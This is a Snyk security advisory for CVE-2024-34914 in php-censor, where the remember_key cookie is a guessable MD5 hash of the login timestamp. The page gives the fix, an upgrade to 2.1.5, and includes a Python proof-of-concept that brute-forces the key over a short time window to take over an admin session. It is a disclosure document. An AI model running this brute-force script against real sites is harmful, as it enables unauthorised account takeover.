Use of Password Hash With Insufficient Computational Effort Affecting php-censor/php-censor package, versions >=2.1.4, <2.1.5


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Use of Password Hash With Insufficient Computational Effort vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-PHPCENSORPHPCENSOR-6846213
  • published15 May 2024
  • disclosed14 May 2024
  • creditUnknown

Introduced: 14 May 2024

CVE-2024-34914  (opens in a new tab)
CWE-916  (opens in a new tab)

How to fix?

Upgrade php-censor/php-censor to version 2.1.5 or higher.

Overview

Affected versions of this package are vulnerable to Use of Password Hash With Insufficient Computational Effort due to the use of a weak hashing algorithm for the remember_key value. An attacker can gain unauthorized access to user accounts by brute-forcing the remember_key value.

PoC

import requests
import time
import hashlib

url = [REDACTED]

### simulate admin login
data = {"email":"admin",
        "password":"admin",
        "remember_me":1}

r = requests.post(url, data=data)


<h3>bruteforce key</h3>
# Get the current timestamp in seconds and microseconds
timestamp_end = time.time()

# 5 second after admin login, but we can set any time frame we want
timestamp_start = timestamp_end - 5

while timestamp_start <= timestamp_end:
    hashval = hashlib.md5(bytes(str(round(timestamp_start,4)), 'utf-8'))
    remember_key = str(hashval.hexdigest())

    cookies = {"remember_key" : remember_key}
    r = requests.get(url, cookies=cookies)

    if "element-login_form" not in r.text:
        print("hacked")
        print(remember_key)
        break
    else:
        timestamp_start += 0.0001

References

CVSS Scores

version 3.1